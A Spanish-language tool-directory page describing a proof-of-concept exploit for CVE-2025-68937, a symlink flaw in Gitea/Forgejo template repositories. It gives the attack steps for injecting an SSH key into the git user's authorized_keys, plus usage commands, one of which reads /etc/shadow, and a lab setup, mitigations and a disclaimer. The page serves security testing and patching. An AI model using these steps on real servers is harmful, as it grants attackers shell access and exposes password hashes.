Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-68937 — Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user. | Kitploit
Herramientas/GitHubGitHub/scratchappy/cve-2025-68937
Privilege EscalationExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubscratchappy/cve-2025-68937

CVE-2025-68937

Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.

Ver Repositorio
hace 18 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-68937 - RCE por Symlink en Plantillas de Gitea/Forgejo

Prueba de concepto automatizada para CVE-2025-68937: salto de directorio mediante el seguimiento de enlaces simbólicos en el procesamiento de repositorios plantilla de Gitea y Forgejo, que conduce a la ejecución remota de código.

Cualquier usuario autenticado (sin necesidad de ser administrador) puede obtener una shell como el usuario de servicio git.

Vulnerabilidad

Al generar un nuevo repositorio a partir de una plantilla, Gitea/Forgejo copia los archivos de la plantilla y expande variables como ${REPO_DESCRIPTION} en los archivos listados en .gitea/template. Este proceso sigue los enlaces simbólicos sin validación, lo que permite a un atacante leer y escribir archivos arbitrarios en el servidor.

DetalleValor
CVECVE-2025-68937
CVSS 4.09.5 Crítico
CWECWE-61 (UNIX Symbolic Link Following)
Autenticación requeridaSí (cualquier usuario)
Administrador requeridoNo

Versiones afectadas

SoftwareAfectadasCorregidas
Gitea>= 1.11.0-rc1, <= 1.24.61.24.7
Forgejo<= 11.0.611.0.7
Forgejo>= 12.0.0, <= 13.0.113.0.2

Cómo funciona

root@kitploit:~
                          Gitea Server
                    +---------------------+
 1. Register SSH    |  authorized_keys:   |
    key with        |  command="gitea     |
    ${REPO_DESC}    |  serv..." ssh-ed... |
    as comment      |  ${REPO_DESCRIPTION}|
                    +---------------------+
                              |
 2. Template repo             |  symlink
    authorized_keys --------->+  follows
    -> /data/git/.ssh/        |
       authorized_keys        |
                              v
 3. Create child    +---------------------+
    repo with       |  authorized_keys:   |
    attacker key    |  command="gitea     |
    in description  |  serv..." ssh-ed... |
                    |  <attacker SSH key> | <-- injected!
                    +---------------------+
                              |
 4. SSH as git      $ ssh -i key git@host
    (unrestricted)  uid=0(git) ...
  1. Registra una clave SSH envenenada en Gitea: el comentario de la clave contiene ${REPO_DESCRIPTION}, una variable de plantilla que Gitea expande
  2. Crea un repositorio plantilla que contenga:
    • .gitea/template que liste authorized_keys para la expansión de variables
    • Un symlink de git authorized_keys que apunte al archivo authorized_keys real del usuario git
  3. Genera un repositorio hijo a partir de la plantilla con la clave pública SSH sin restricciones del atacante en el campo de descripción
  4. La expansión de la plantilla sigue el symlink, lee el archivo authorized_keys real (que contiene nuestra clave registrada con ${REPO_DESCRIPTION} en el comentario), expande la variable a la descripción del hijo (nuestra clave SSH) y escribe el resultado de vuelta a través del symlink
  5. Conéctate por SSH como git con la clave inyectada (sin restricción command=)

Uso

root@kitploit:~
pip install requests
root@kitploit:~
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222

# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git

# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"

# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup

Opciones

Entorno de pruebas

Levanta una instancia vulnerable:

root@kitploit:~
docker run -d --name gitea-vuln \
  -p 3000:3000 -p 2222:22 \
  -e USER_UID=1000 -e USER_GID=1000 \
  gitea/gitea:1.24.6
  1. Abre http://localhost:3000 y completa el asistente de instalación (SQLite funciona bien)
  2. Registra una cuenta de usuario
  3. Ejecuta:
root@kitploit:~
python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222

Requisitos

  • Python 3.8+
  • requests
  • git y ssh-keygen en el PATH

Mitigación

  • Gitea: actualiza a 1.24.7 o posterior
  • Forgejo: actualiza a 11.0.7 (LTS) o 13.0.2+

Referencias

  • NVD: CVE-2025-68937
  • GitHub Advisory: GHSA-7mhf-6fhv-c83c
  • Análisis de la corrección de seguridad de Gitea (PR #36734 y #36746)
  • Notas de la versión 1.24.7 de Gitea

Descargo de responsabilidad

Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. Úsala únicamente contra sistemas que poseas o para los que tengas permiso escrito explícito para probar. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso.

Descargar herramienta
FlagPor defectoDescripción
-u, --urlrequeridoURL base de Gitea/Forgejo
-U, --userrequeridoNombre de usuario
-P, --passwordrequeridoContraseña
--git-home/data/gitDirectorio home del usuario git en el objetivo
--ssh-hostde --urlHost SSH al que conectarse
--ssh-port22Puerto SSH de Gitea
--timeout30Segundos de espera para SSH
--commandinteractivoComando a ejecutar tras obtener la shell
--cleanup-Elimina los artefactos del exploit